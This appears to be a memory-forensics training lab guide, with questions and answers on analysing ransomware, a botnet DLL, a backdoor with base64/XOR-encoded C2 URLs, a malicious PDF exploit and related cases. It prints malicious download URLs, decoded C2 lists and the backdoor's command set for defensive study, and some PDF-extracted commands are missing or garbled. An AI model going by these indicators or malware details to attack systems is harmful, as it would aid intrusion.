LabGuide InPerson Oct2023
LabGuide InPerson Oct2023
Lab Guide
Table of Contents
Introduction ................................................................................................................................. 5
Memory Acquisition with Volexity Surge Collect Pro ............................................................. 6
Ransomware Case (with Hibernation and Page File) .............................................................. 9
Answers ................................................................................................................................ 12
Interactive Memory Analysis with Volshell ............................................................................ 14
Dumping and Unpacking Executables: 64-bit Botnet Components .................................... 16
Answers ................................................................................................................................ 18
Bonus: What is win8http.dll?................................................................................................... 20
Jackal C2: Complementing Network Forensics with Memory Analysis .............................. 21
Answers ................................................................................................................................ 24
Analyzing a Client-Side Exploit ............................................................................................... 32
Answers ................................................................................................................................ 34
Code Injection and PowerShell (Fileless, Memory-Only Payloads) ..................................... 40
Answers ................................................................................................................................ 42
Process Hollowing, Tasks, and Defender Evasion ................................................................ 50
Answers ................................................................................................................................ 52
The APT in TSCIX...................................................................................................................... 59
Answers ................................................................................................................................ 61
Hunting a Kernel Rootkit with Anti-Forensics Capabilities .................................................. 72
Answers ................................................................................................................................ 74
Ghost in the Kernel ................................................................................................................... 78
Answers ................................................................................................................................ 81
Detecting LSASS Process Dumps and Credential Theft....................................................... 85
Answers ................................................................................................................................ 86
Analyzing a Compromised Webserver ................................................................................... 91
Answers ................................................................................................................................ 94
MacOS Infection ...................................................................................................................... 101
Answers .............................................................................................................................. 104
Introduction
This guide contains both the questions and answers for the hands-on labs you will be
performing.
Please be advised some of the lab files are malware samples that can infect your
machine if you are not careful. These files are in special sub-directories named INFECTED
and they are in password-protected zip files. To perform analysis of these malware samples, it
is best to copy them to a virtual machine and then extract the zip. If you unzip on your host
machine, any antivirus you are running may delete or quarantine them.
NOTE: Be careful when copying data from this PDF onto your clipboard. Many times,
dashes and quotes turn out to contain unexpected Unicode characters and your
commands will strangely not work properly.
Basic Collection
1. Use Surge to capture memory and all files from windows.txt. Confirm that the evidence is
accessible to your Kali VM, as you will analyze it later. There are many ways to do this:
o Stream to Surge Server running on Kali (ideal method).
o Dump to a folder shared with Kali (using VMware shared folders).
o Stream to an S3 bucket and download from Kali.
2. Assuming you wanted to acquire the system’s pagefile(s), explain why the following
command is not ideal. What is the correct method?
3. Assuming you wanted to acquire the system’s USN journal (NTFS transaction log), explain
why the following command is not ideal. What is the correct method?
Custom Collection
1. Use Surge to generate a listing of all files on the computer (without collecting them), or all
files starting at a root directory of your choice (i.e., C:\Windows). Do not gather memory.
2. Use Surge to collect files under C:\Windows\System32 except those with a .dll or .exe
extension. Do not gather memory.
Memory Analysis
These objectives are based on the first collection, which included memory.
1. Look in the Surge logfile (log.txt) or meta.json for the Windows version information. Which
Volatility profile seems most appropriate? Note: Run volatility --info to list the available
profiles.
______________________________________________________________________
2. Run kdbgscan on the memory sample (memory/data.lime) using the proper profile.
Determine the KDBG address (for --kdbg). Remember, if you’re dealing with a 64-bit
Windows 8 or later sample, use the KdCopyDataBlock virtual address (Offset(V)) rather than
the address of the KDBG itself.
3. Look in the Surge logfile (log.txt) or meta.json for the DTB value. Alternately, run psscan and
determine the proper DTB value (for --dtb) by looking at the PDB column of the System
process.
4. Create a configuration file with the PROFILE, LOCATION, DTB, and KDBG values. Run the
pslist plugin to verify that everything works correctly. For example, create ~/.volatilityrc
(or ./volatilityrc) and add something like this:
[DEFAULT]
LOCATION=file:///root/path/data.lime
PROFILE=Win10x64
DTB=0x39000
KDBG=0x00ffff800054cde0
5. Run a couple of the volatility plugins on the memory sample that seem interesting to you or
that you’ve never seen before.
1. Inspect Surge’s meta.json file and get familiar with the additional runtime state information it
collects from target systems. To format the JSON in a humanly readable manner, run the
following:
Alternately, you can open meta.json in a Firefox browser and view it as JSON or Raw Data.
2. Confirm familiarity with the collected file hierarchy within a Surge collection. In particular,
examine the USN journals, file listings, etc.
3. Using the offset you determined in the previous step (multiplied by the size of a sector, 512
bytes), mount the disk image read-only and non-executable on your loopback device. For
example:
Note that these steps will “mount” the disk image at /mnt/disk_image, which then becomes the
equivalent of the root “C:\” folder of the system. Therefore, if you wished to access “C:\pagefile.sys”
from the system under investigation, you would access /mnt/disk_image/pagefile.sys.
4. Analyze the SYSTEM hive for the location(s) of the paging file(s). Look for the PagingFiles
and ExistingPagingFiles values under the following key. How many page files did this
machine have and what are their paths? For example:
6. Analyze the ControlSet001 > Control > Session Manager > Environment key in the
SYSTEM hive. What is the machine’s processor architecture?
7. Based on the previous steps, what are the potential Volatility profile name(s) for this
system? You can use “volatility --info” to see the names of the profiles.
8. Decompress the hibernation file to a raw memory image. NOTE: Do not forget to specify the
--profile for Volatility. This command can take 10-15 minutes.
9. Identify the name, pid, full path on disk, and start time for the suspicious process(es)
involved in the ransomware attack. What does this tell you about how it was initially
launched? Plugin suggestions: pslist, pstree, cmdline, and dlllist.
10. Using YARA rules and/or string extraction on the hibernation file and/or pagefile, can you
determine how the initial exe was introduced into the system and where it came from?
The first run of strings grabs the ASCII strings as well as the offset of each string in decimal
(-td). The second run adds -el to grab the Unicode strings. Also note that the second run
uses >> instead of > to append the results of the second run as opposed to overwriting the
results of the first run. After generating the strings file, you can use grep to search for strings
of interest.
11. Your customer wants to know if any valuable file(s) were encrypted. While you can’t assess
value, can you at least help generate a list of targeted files?
Answers
Part I – Initial Evidence Processing
The full path on disk can be seen with the dllist or cmdline plugins:
10. The hibernation file has many references to “spartandiagnostics-trial” (truncated), which
prove where it came from. The exe was hosted here:
https[:]//download-spartan-diagnostics.s3.amazonaws.com/spartandiagnostics-trial-v2.23.exe
condition:
$a
}
Several of the strings suggest that it was accessed and downloaded by the browser, including:
t.InternetExplorer.Default","platform":"windows_win32"},{"application":"Micro
soft.InternetExplorer.Default","platform":"packageId"},{"application":"","pla
tform":"alternateId"}]cntWoA4XC4i55bCspsTX5kzDcl+/8YAeXv8Qel/xEvc=ie.http:htt
ps://download-spartan-diagnostics.s3.amazonaws.com/spartandiagnostics-trial-
v2.23.exe
C:\Users\Administrator\AppData\Local\Microsoft\Windows\INetCache\IE\O83D1T1X\
spartandiagnostics-trial-v2.23[1].exe
11. Your customer wants to know if any valuable file(s) were encrypted. While you can’t assess
value, can you at least help generate a list of targeted files?
According to online reports about WannaCry (for example,
https://www.mandiant.com/resources/blog/wannacry-malware-profile), the ransomware
adds .WCRY, .WNCRY, and/or .WNCRYT extensions to files it encrypts. You can use any of
the following methods to enumerate the files:
• Volatility’s filescan plugin on the hibernation file
• Volatility’s mftparser plugin on the hibernation file
• Extract and parse the $MFT from the disk image
• Extract and parse the USN Journal from the disk image
Lab Files: To complete the steps, use the decompressed hibernation file from the Ransomware
Case.
1. Run Volatility’s volshell plugin against a memory dump to enter the shell.
2. Type the following command at the prompt to see the help menu and options.
>>> hh()
3. Type the following commands. Does the information shown match with what you expect for
the operating system version and CPU architecture (x86 vs x64) of the machine you’re
analyzing?
>>> addrspace()
>>> addrspace().profile
>>> addrspace().profile.metadata
Note: When running the above commands as well as others in this lab, you will see
output that matches the following pattern:
Please be aware that the address you see in between the < > is the address inside of the
Python process of the variable being analyzed. It is not an address from the memory
sample.
4. What process context are you currently in? Determine the process’ name, PID, and address
of its structure in kernel memory. Type the following command to find out:
>>> sc()
Current context: System @ 0xffffaa0e95c77040, pid=4, ppid=0 DTB=0x1aa002
5. Pass the address of the process’ structure (0xffffaa0e95c77040 in the example above – but
yours will be different if you do not use the converted hibernation file) to the db() command
so you can see a hexdump of the data. Increase the length until you see the process’ name.
6. At what offset from the start of the process’ structure do you find the process’ name? Does
the offset match with the following calculation for your system?
7. Display all members of the current process’s structure. You can do this by manually
specifying the type and address or you can just pass it the process object. Here are the two
methods:
8. Write a script that cycles through all active processes and prints their full command-line
value. After typing the last line, press ENTER twice to execute it.
9. Translate the (virtual) address of the process’ structure into a physical offset. In other words,
at what offset in the memory dump file can you find the structure? You can use the following
syntax:
>>> addrspace().vtop(ADDRESS)
10. Confirm that you see the same data as you saw in question 5 by looking at the physical
offset in the file.
You can do this one of two ways. If you want to do it inside volshell, you have to determine
which address space layer represents the file. To do this, type addrspace().base and see if
its name is FileAddressSpace. If not, go one layer deeper like addrspace().base.base. Pass
the file layer to db() using the physical offset. In the following example, the offset was
8204546112:
>>> addrspace().base
<volatility.plugins.addrspaces.standard.FileAddressSpace object at 0x7f8a6ef10e50>
>>> db(2146617152, space = addrspace().base)
0x1e9077040 03 00 b6 00 00 00 00 00 48 70 c7 95 0e aa ff ff ........Hp......
0x1e9077050 48 70 c7 95 0e aa ff ff 58 70 c7 95 0e aa ff ff Hp......Xp......
0x1e9077060 58 70 c7 95 0e aa ff ff 02 a0 1a 00 00 00 00 00 Xp..............
0x1e9077070 38 d3 c8 95 0e aa ff ff 38 b3 a8 9a 0e aa ff ff 8.......8.......
0x1e9077080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x1e9077090 01 00 14 00 00 00 00 00 0f 00 00 00 00 00 00 00 ................
0x1e90770a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x1e90770b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Profile: Win7SP0x64
Suggested Plugins: pslist, dlllist, dlldump
Lab Files: https://volexity-memory-forensics.s3.amazonaws.com/Training/PE_Packing.7z
$ sha1sum INPUTFILE
3. Is the file packed or compressed? If so, how do you know? Analyze it with pe_preview.py
(in your path on your Linux machine) or search for it by hash on www.virustotal.com.
$ pe_preview.py INPUTFILE
4. Using pe_preview.py or other static analysis tools, can you determine the file’s potential
behavior based on its imports, exports, or strings?
5. Using volatility on the memory sample, what is the PID of the process that’s hosting the
DLL? Hint: You’re looking for rundll32.exe.
6. What is the base address of the DLL in the memory of its host process? Note: use the dlllist
or vadinfo plugins.
7. Dump the DLL to disk using either its name or base address.
8. Compute the SHA1 hash of the dumped file. Does it match the one from step 2? Why or
why not?
9. Analyze the unpacked file with strings, pe_preview.py, or any other utilities at your
disposal. What indicators of compromise can you find that might help your customer search
for related infections? Consider disk, registry, and network indicators.
10. Is this file likely to be involved with a particular botnet and/or threat group? Hint: focus on
the network indicators. Feel free to use search engines, but do not visit any of the URLs
directly.
Answers
1. Unzip the malware sample. The password is “infected” (without quotes)
$ unzip dd4382d225a15dc09f92616131eff983.zip
2. Compute the SHA1 hash of the file for documentation purposes. You can do this with the
sha1sum command.
$ sha1sum dd4382d225a15dc09f92616131eff983
e034be1437c85f6a2d7fdd742e690110232e4e74
3. Is the file packed or compressed? If so, how do you know? Analyze it with pe_preview.py
on your Linux machine or search for it by hash on www.virustotal.com.
Yes, but not with a known packer. Although it reports Microsoft Visual Cpp 80 DLL, that’s
just the compiler (not a packer). The .text and .data sections have extremely high entropy
(randomness) which is typical of compressed code. There are very few imported functions
and almost no visible strings.
4. Using pe_preview.py or other static analysis tools, can you determine the file’s potential
behavior based on its imports, exports, or strings?
No, none of the imports give an indication of the file’s behavior. The exported functions
seem related to database (CreateDatabase2, RestoreInstance, etc) but it also could just be
a decoy.
5. Using volatility on the memory sample, what is the PID of the process that’s hosting the
DLL? Hint: You’re looking for rundll32.exe.
6. What is the base address of the DLL in the memory of its host process?
$ volatility -f memory.bin --profile=Win7SP0x64 dlllist -p 1524
Volatility Foundation Volatility Framework 2.4 (Beta)
************************************************************************
rundll32.exe pid: 1524
Command line : rundll32 dd4382d225a15dc09f92616131eff983.dll,FakeEntry
Service Pack 1
[snip]
7. Dump the DLL to disk using either its name or base address.
$ volatility -f memory.bin --profile=Win7SP0x64 dlldump -p 1524
–-base=0x0000000180000000
--dump-dir=OUTDIR
8. Compute the SHA1 hash of the dumped file. Does it match the one from step 2? Why or
why not?
9. Analyze the unpacked file with strings, pe_preview.py, or any other utilities at your
disposal. What indicators of compromise can you find that might help your customer search
for related infections? Consider disk, registry, and network indicators.
Network:
• ericpotic.com
• mashevserv.com
• /task.php?
• version=%u&user=%x%x%x%x&server=%u&id=%u&crc=%x&aid=%u
• /config.php?
Registry:
• Software\Microsoft\Windows\CurrentVersion\Run
• Software\AppDataLow\Software\Microsoft\Internet Explorer\Security\AntiPhishing\
Disk:
• CHROME.DLL
10. Is this file likely to be involved with a particular botnet and/or threat group? Hint: focus on
the network indicators. Feel free to use search engines, but do not visit any of the URLs
directly.
Based on the two domain names you see in the strings, it is a component of the Rovnix
botnet. (https://isc.sans.edu/diary/Suspected+Active+Rovnix+Botnet+Controller/17180)
You’ve been given a malware sample and an infected memory dump. The malware is allegedly
part of a high-scale APT attack. The antivirus industry is calling it “jackal,” but detailed
information is currently scarce. You searched Twitter and found someone saying “jackal’s c2 list
is just base64 and xor” but he didn’t provide any hashes so you’re not even sure if he’s talking
about the same executable. You’ve also been given a packet capture of the malware’s traffic,
which was created by one of your coworkers running the sample in a sandbox and capturing all
traffic in and out.
1. Obtain an unpacked sample of the malware. Specifically, use procdump with and without the
--memory option. Are the two output files the same? Why or why not?
2. Analyze strings in the unpacked files. Make sure to use the -a flag to search the entire file
and also check Unicode strings with -el.
$ strings -a FILENAME
$ strings -a -el FILENAME
3. Based on the strings you see, describe the types of changes this malware may make to the
running system’s registry. Specifically, what key would you look for as an indicator of
compromise?
4. Was the malware actively accessing the key at the time of the memory dump? Note: you
can specifically check for this using the handles plugin and filtering for open registry keys:
5. Specifically, what values or data the malware add to the registry key? Is it possible using
only the memory dump to find out? To query a cached registry key, use the printkey plugin
like this:
6. Are there any specific network artifacts that you would configure an IDS to look for?
9. (Bonus) List as many C2 IPs/hostnames as possible. Is the guy right about it using base64
and xor?
10. (Bonus) What commands does the malware support? What command was delivered to the
infected system by the C2 it contacted? Was the command successful?
11. (Bonus) How would you identify the decoding algorithm and/or the required decryption keys
if you weren’t provided a hint in the scenario description?
To base64 decode a string in a Python2 or Python3 shell (useful if you want to script the
decoding of multiple strings at once):
For a graphical decoder, try Cyber Chef online here: https://cyberchef.org/. Just enter the input
and double click the “From Base64” recipe.
Answers
1. Obtain an unpacked sample of the malware. Specifically, use procdump with and without the
--memory option. Are the two output files the same? Why or why not?
The memory dump you’ve been given shows jackal.exe has pid 8628. If you use procdump
(non-preserving of slack space), you’ll end up with a binary that very closely resembles the
packed binary. This is not what you want!
To reveal the properly unpacked binary, you must use procdump --memory (preserves slack
space).
2. Analyze strings in the unpacked files. Make sure to use the -a flag to search the entire file
and also check Unicode strings with -el.
3. Based on the strings you see, describe the types of changes this malware may make to the
running system’s registry. Specifically, what key would you look for to determine if it ran on
another machine?
4. Was the malware actively accessing the key at the time of the memory dump?
If you dumped the malware using procdump --memory (see above), then you would notice a
string for “Software\Microsoft\Windows Player” in the unpacked binary. Inspecting the
process’ open handles would reveal the same registry key:
5. Specifically, what values or data the malware add to the registry key? Is it possible using
only the memory dump to find out?
There are three NTUSER.DAT files loaded, but only one belongs to a normal user (Analyst).
The others are for NetworkService and LocalService accounts. The printkey plugin will try to
find the requested key in all three hives, but only the one belonging to Analyst will return any
output:
$ volatility –f data.lime --profile=Win10x64_17134 printkey -K
"Software\Microsoft\Windows Player"
Volatility Foundation Volatility Framework 2.6
Legend: (S) = Stable (V) = Volatile
----------------------------
Registry: \??\C:\Users\Analyst\ntuser.dat
Key name: Windows Player (S)
Last updated: 2019-08-28 17:32:55 UTC+0000
Subkeys:
Values:
REG_SZ DB1L : (S) IionPSEjKj0rKj0nIjxgdmF6fGA8e3J/cXZhPXtnfn8=
REG_SZ WN33 : (S) ISEqPSY9ISAgPSEjJDxndnpqajxgY39meD1yYGM=
REG_SZ 4H2N : (S) IismPSEhKj0iJiQ9IiUrPHx9YXZwanZ7fDxldmFxcn89Z2tn
REG_SZ MRRU : (S) IiUrPSsnPSIqKz0hJys8YHZ2fTxqdn9jPXtnfn8=
REG_SZ HNFY : (S)
Jic9IiAqPSIrIz0iICs8YXxyYWA8ZXJhenxmdzxyf2d2YX1yZ3p8fT17Z35/
REG_SZ IEUH : (S) ISYgPSEhJz0iJCI9ICo8fXZkYDxwfH5+PWN7Yw==
REG_SZ 1AUR : (S) IisnPScrPSInID0iIiQ8ZHJ6Z3p9dD1yYGM=
REG_SZ 47SG : (S) ISIhPScgPSInIz0iJiE8YGN8YWc8e3Jje3JpcmF3PXlg
REG_SZ FAU1 : (S) ISYhPSEhKj0iKiA9ISEkPGBnfHB4PGdhcnd6fXQ9e2d+fw==
REG_SZ 2LHL : (S) ISAgPSIkIT0iKyM9IiUgPGFyfXB7dmE8ZHp9d3xkYD1je2M=
[snip]
There is a total of 30 values in this key, each with REG_SZ type data that looks like a
base64 string.
6. Are there any specific network artifacts that you would configure an IDS to look for?
The list of C2 URLs (see question #8) would be the best way to detect compromised
machines based on their network traffic. However, assuming the C2 list is different in various
builds of the same malware, which it frequently is, then you would need some backup
criteria for IDS rules.
You can see via strings that there’s an interesting user agent:
The packet capture that you were supplied with also shows that being used in the real
request:
If you’re very keen, you’ll also notice the reply from the C2 site appears to be a Google
homepage but with a suspicious comment inserted near the top of the page:
<title>Google</title>
<!--j4ckal:YHt2f38zKiMqIw==-->
<script>(function(){
This is how the malware’s operator conveys commands to the targets. He embeds them into
comments in the HTML page, preceded with “j4ckal” to let the malware know it’s not just a
normal HTML comment, and also uses the base64 and XOR 0x13 key as previously
described.
There are several ways to solve this answer. One way is by using the handles plugin and
filtering for type Mutant. There are several mutexes owned by the process, however
__Dassara__ is the only one that sticks out. The mutex name also exists in the strings
output you ran in step 2. If you’re not familiar with common legitimate mutex names, this is
your hint to start trying to recognize them. Almost all of the others (MSFTHISTORY,
content.ie5, cookies, WininetStartup, ZonesCache, etc) are all created by the wininet DLL
library when it’s loaded into a process. So those can be whitelisted/eliminated/ignored from
the equation.
$ volatility –f data.lime --profile=Win10x64_17134 handles -t Mutant -p 8628 --silent
Volatility Foundation Volatility Framework 2.4
Offset(V) Pid Handle Access Type Details
------------------ ---- ------ -------- ----- -------
[...]
0xffffe50ccad25550 8628 0x11c 0x1f0001 Mutant SM0:8628:168:WilStaging_02
0xffffe50cc83d7ec0 8628 0x200 0x1f0001 Mutant __Dassara__
0xffffe50cc7f64080 8628 0x3b0 0x1f0001 Mutant ZonesLockedCacheCounterMutex
0xffffe50cc7ecfb10 8628 0x3b4 0x1f0001 Mutant ZonesCacheCounterMutex
0xffffe50ccaa013f0 8628 0x3c0 0x1f0001 Mutant SM0:8628:64:WilError_01
[...]
Running pstree against the memory sample showed that jackal.exe is a child process of
firefox. This gives a potential starting place to investigate any web URLs related to
jackal.exe.
Strings-based analysis would have also been useful, as within the first seven lines of output,
you would have immediately seen a Slack redirect URL as well as other useful artifacts.
$ strings -a -td data.lime | grep jackal | head -7
157746538 http://67.205.163.62/jackal.exe
169453512 http://67.205.163.62/jackal.exe
173455848 \Device\HarddiskVolume3\Users\Analyst\Downloads\jackal.exe
222233776 {"displayText":"jackal.exe","activationUri":"ms-
shellactivity:","appDisplayName":"jackal.exe","backgroundColor":"black"}
232090033 http://67.205.163.62/jackal.exejackal.exe26.361.502.76.
232090135 https://slack-
redir.net/link?url=https%3A%2F%2F2.zoppoz.workers.dev%3A443%2Fhttp%2F67.205.163.62%2Fjackal.exe&v=3ten.rider-kcals.d
273259112 URL=https://slack-
redir.net/link?url=https%3A%2F%2F2.zoppoz.workers.dev%3A443%2Fhttp%2F67.205.163.62%2Fjackal.exe&v=3
Searching the strings output again for the malicious IP address reveals messages, such as
a the one containing the malicious IP and executable:
check out this tool: http://67.205.163.62/jackal.exe
check out this tool: <LINK:START
http://67.205.163.62/jackal.exe>http://67.205.163.62/jackal.exe<LINK:END>
Further exploring Slack related JSON tags, reveals the following (plus more):
9. (Bonus) List as many C2 IPs/hostnames as possible. Is the guy right about it using base64
and xor?
There are a few ways to go about answering this question. One, you could have gathered
the 30 values from the printkey output. Two, you could have gathered them by running
strings (-el for Unicode and -a for entire file search) on the unpacked procdump sample.
Either way, you’re left with a base64 strings. Remember you caught a break when someone
on twitter said it uses base64 and xor. However, that doesn’t give you the xor key.
GUI Method
Go to https://cyberchef.org. On the left side, double click the “From Base64” recipe and then
the “XOR Brute Force” recipe. This will chain the two recipies together. Then paste one of
the base64 encoded strings into the Input tab. You’ll notice key 13 (0x13) reveals the URLs.
Programming Method
One way you could proceed is by leveraging the single_byte_brute_xor() function in the
xortools library from Malware Cookbook. This lets you specify a list of terms you would you
expect to see in the plaintext and it attempts to brute force the xor key for the supplied data.
For example since we’re looking for C2 data, we might expect to see:
• http
• html
Thus we can call the API like: xortools.single_byte_brute_xor(data, ["http", "html"]). For more
information, see the completed decoder in your answers directory (decoder.py). Here is an
example of the output, assuming c2_encoded.txt contains the base64 strings:
Although there were 30 lines in the c2_encoded.txt file, only the above 13 were decoded
properly. This is most likely because not all 30 URLs contained “http” or “html.” However,
you can see that the key appears to be consistently 0x13. So it would be possible to patch
your decoder.py with xortools.single_byte_xor(data, 0x13) instead and then view the output:
184.48.143.117/waiting.asp
212.43.140.152/sport/haphazard.js
252.229.193.227/stock/trading.html
233.172.180.163/rancher/windows.php
146.82.77.59/s91911/klsja11/filter.txt
166.20.53.219/Burbank/Lucid/jacks.html
159.232.102.158/passing/source/home.asp
202.19.197.131/october/saturn.js
67.85.248.25/waifs/juno.html
128.134.176.126/exists/Pasadena.doc
108.115.99.86/yellowhammer/reports
32.24.248.178/goodish/fellow.html
105.71.237.16/super/clabbers.xml
90.35.234.248/orient/bakers.html
13.82.151.215/lopper/dumbbell.txt
101.93.92.167/ostensory/wicked/all
178.85.191.52/eeprom/severe.html
218.113.178.71/weather.html
227.22.157.5/usa/soccer.html
45.151.183.149/kasher/Xeroxing.js
221.165.164.56/pullback/yeshivah.txt
200.144.50.212/resampled/before.html
226.201.173.72/hoodwink/Vancouver/visit/summer.html
40.10.239.218/jist.js
It is important to note the difference between this list of C2s and the one you analyzed in
Part I. In the Part I malware, all C2 URLs were unpacked and decoded in process memory,
just waiting for you to run strings. However, this Part II malware is more complex, it only
decodes a URL one at a time, right before it needs to use the URL, then it deletes/wipes the
URL from memory. A novice user running strings might see one URL and assume that’s all it
will ever contact. Wrong!
10. (Bonus) What commands does the malware support? What command was delivered to the
infected system by the C2 it contacted? Was the command successful?
[snip]
Since the socket using port 9090 is actively LISTENING, that means it’s a server socket.
The “shell 9090” command told the malware to open a backdoor command shell on the
infected machine.
Finding out what other commands the malware supports is relatively challenging. You know
that the C2 command “shell” was a string (as opposed to a number), so you can bet the
malware’s command handler uses string comparison functions to determine what code to
run as the result of receiving “shell.”
If you look carefully at the strings you do see, one of them is “killproc” which is not a
Windows API name and sounds suspicious.
You can follow the cross-references to that string (to find out where “killproc” is used) by
doing this:
The green values being compared with the value in the EAX register are actually strings!
They’re not pointers to strings, they’re just the hex representation of the string’s characters.
It turns out, for small strings (4-6 bytes) comparing them with their numerical value is more
efficient than normal string compare operations.
You can change how the values are displayed in IDA. Here’s another look of the same code
showing characters instead of numbers:
As you can see, the mysterious numbers are now easier to read: pots, cexe, and lehs.
These are actually backwards due to endian-ness, so they’re really stop, exec, and the first
four letters of shell, respectively. Doing that for the rest of the instances in that function
reveal that the malware supports the following features:
• shell
• stop
• exec
• upload
• wget
• killproc
11. (Bonus) How would you identify the decoding algorithm and/or the required decryption keys
if you weren’t provided a hint in the scenario description?
In the absence of more obvious methods or hints, our fallback for answering questions like
this is static analysis (reverse engineering). Finding and unpacking the malicious code is a
pre-prerequisite, but once you’ve done that, you have a binary that contains both the
decryption algorithm and the decryption keys (if any). From that point, it’s just a matter of
finding those resources in the binary, which you can typically do by following code cross-
references from the networking functions (i.e., what gets called next after the program
receives data from the server).
1. What initial theories can you gather about the incident based on the process list (pslist)?
Does the pstree plugin help identify any suspicious parent/child relationships?
2. Is a[1].php a real PHP file? How do you know? What does the [1] part of the file name
indicate?
3. What type of file delivered the exploit and where was it hosted? Your answer should be the
IP address or hostname of the server. What is the name of the file? Hint: you may need to
perform one or more of the following:
A. Extract strings from the entire memory dump
B. Dump the memory of the individual process(es) you suspect to be involved
C. Use yarascan on those processes to find evidence
5. Can you find any evidence of actual connections (active or inactive) being established with
the sites you’ve identified so far? Which process initiated the connection(s)?
6. Recover a copy of the a.php file for offline analysis. Send it to VirusTotal or compute the
hash and search for an existing analysis on VirusTotal. Does it have any detections?
7. Were either of the running IE instances started with particular command-line arguments?
8. Is the running Thunderbird process in any way involved in the exploit/attack scenario?
9. Can you find any remaining references to the exploit document that you identified in
question 3? Why or why not? Hint: use handles and/or filescan.
10. Use Scalpel (type scalpel on command line) to carve through the entire memory dump file.
You may need to browse the scalpel configuration file (/etc/scalpel/scalpel.conf) and
uncomment the lines related to finding PDFs. Does this help you recover the malicious
document? Why or why not?
11. (Bonus) Use bulk_extractor to recover remnant packets in the memory capture. In the produced
packets.pcap output file can you find any tracks of the call to download a.php?
Hint: Follow the process in our blog post if you are not familiar with bulk_extractor:
https://volatility-labs.blogspot.com/2015/01/incorporating-disk-forensics-with.html
Answers
1. What initial theories can you gather about the incident based on the process list (pslist).
Does the pstree plugin help identify any suspicious parent/child relationships?
The process named a[1].php should draw your attention immediately, because normal
processes don’t have .php extensions. If you view the parent/child relationship with pstree,
you’ll see the process was launched by cmd.exe, which was in turned launched by
AcroRd32.exe (Adobe Reader). Since AcroRd32.exe’s parent is firefox.exe you can assume
a malicious PDF was viewed/accessed with Firefox.
. 0x81e79020:firefox.exe 180 1300 27 447
.. 0x8202b398:AcroRd32.exe 3684 180 0 ------
... 0x81ecd3c0:cmd.exe 3812 3684 1 33
.... 0x81f55bd0:a[1].php 2280 3812 1 139
..... 0x8223b738:IEXPLORE.EXE 2276 2280 7
2. Is a[1].php a real PHP file? How do you know? What does the [1] part of the file name
indicate?
No, it’s not a real PHP file, or else it could not have been loaded as a process. The [1] part
of the file name indicates it was downloaded into IE’s internet history cache.
3. What type of file delivered the exploit and where was it hosted? What is the name of the
file?
Based on the fact that AcroRd32.exe is running and has spawned a suspicious child
process (a[1].php), you can bet the initial exploit was a PDF. A reasonable next step would
be to search process memory for “.pdf” trying to find full URLs or other indications of where
the file was hosted.
Among various fragments of the string, you can see a partial IP address emerging
(http://74.207.237.127)
For more detail, you can also extract all accessible pages of the Firefox process with
memdump and then run strings. The results indicate that nyytimes.pdf on 74.207.237.127
has a string relationship with the New York Times website.
$ mkdir firefox
If we study the strings output (from the entire physical memory dump, not just a single
process) related to 74.207.237.127, we see a request to download a.php with the suspicious
IP address as the referrer.
Exploring these HTTP requests where our IP address is the Referer eventually bring us to
the one involving a.php:
5. Can you find any evidence of actual connections (active or inactive) being established with
the sites you’ve identified so far? Which process initiated the connection(s)?
Using the connscan plugin, we see one previous connection associated with the
85.17.221.2 address:
If we use pslist, we see that PID 2644 is one of our exited Acrobat instances:
This means it is likely that the exploit shellcode inside of the PDF caused a.php to
download.
6. Recover a copy of the a.php file for offline analysis. Send it to VirusTotal or compute the
hash and search for an existing analysis on VirusTotal. Does it have any detections?
You can either dump the process with procdump or you can use the filescan/dumpfiles
method:
$ mkdir outdir
7. Were either of the running IE instances started with particular command-line arguments?
If we examine the output of dlllist against the IEXPLORE instance launched by a.php, we
see that it contacts another website not yet analyzed:
8. Is the running Thunderbird process in any way involved in the exploit/attack scenario?
A plausible explanation about how the system was exploited is that the victim was browsing
a website that had been hacked to host a malicious iframe, ad, link, etc. While this is a
reasonable theory, it’s not what happened. Yes, the user was browsing the web at the time,
using both IE and Firefox, however he also was running thunderbird.exe – Mozilla’s
Thunderbird email client. If you search this process’ memory for traces of nyytimes.pdf or
74.207.237.127, you’ll find numerous fragments of what appears to be a phishing email:
Using the same technique as before (memdump followed by strings and grep), you can
recover the actual email content:
9. Can you find any remaining references to the exploit document that you identified in
question 3? Why or why not?
Running handles to see active/open references to files does not show any references to
nyytimes.pdf. Additionally, running filescan and searching for file objects for nyytimes.pdf
also comes up blank. The memory dump must not have been captured soon enough, before
those objects were erased from memory.
10. Use Scalpel or Photorec (both on your Linux VM) to carve through the entire memory dump
file. Does this help you recover the malicious document? Why or why not?
Since we know that the malicious file type was PDF, we can use Scalpel (or photorec) to
carve for PDF files and hope that our malicious one is still resident and in-tact. To use
Scalpel, we simply comment out all the file types in the Scalpel configuration file except for
the two PDF entries.
Next, we need to determine our target. Since the two Acrobat Reader process have exited,
we unfortunately cannot vaddump them and carve. Instead, we have to rely on carving
physical memory. This is a problem because recovering files over 4096 bytes (page size)
may be difficult due to the file being non-contiguous.
If we continue to examine the strings extracted from the memory dump, we’ll encounter what
appears to be the HTTP response header from when nyytimes.pdf was requested.
HTTP:http://74.207.237.127/nyytimes.pdf
request-method
response-head
HTTP/1.1 200 OK
Date: Thu, 14 Mar 2013 14:19:15 GMT
Server: Apache/2.2.22 (Ubuntu)
Last-Modified: Thu, 14 Mar 2013 01:43:24 GMT
Etag: "19ed-c4e-4d7d8a5f9fded"
Accept-Ranges: bytes
Content-Length: 3150
Content-Type: application/pdf
In this response, we see that the Content-Length is 3150 bytes, which is less than the size
of a 4k page.
Running Scalpel over the memory dump file reveals four recovered PDFs, and one is the
exact size as dictated in the header:
$ scalpel -c /etc/scalpel/scalpel.conf -o scalpel-output clientside.mem
$ cat scalpel-output/audit.txt
Submitting this output to VirusTotal shows that 40 of 55 anti-virus engines detect this PDF
as malicious:
https://www.virustotal.com/en/file/bfa95eb2e92530c153367d7a6a2a5ebd16fc4e3a9db6b407
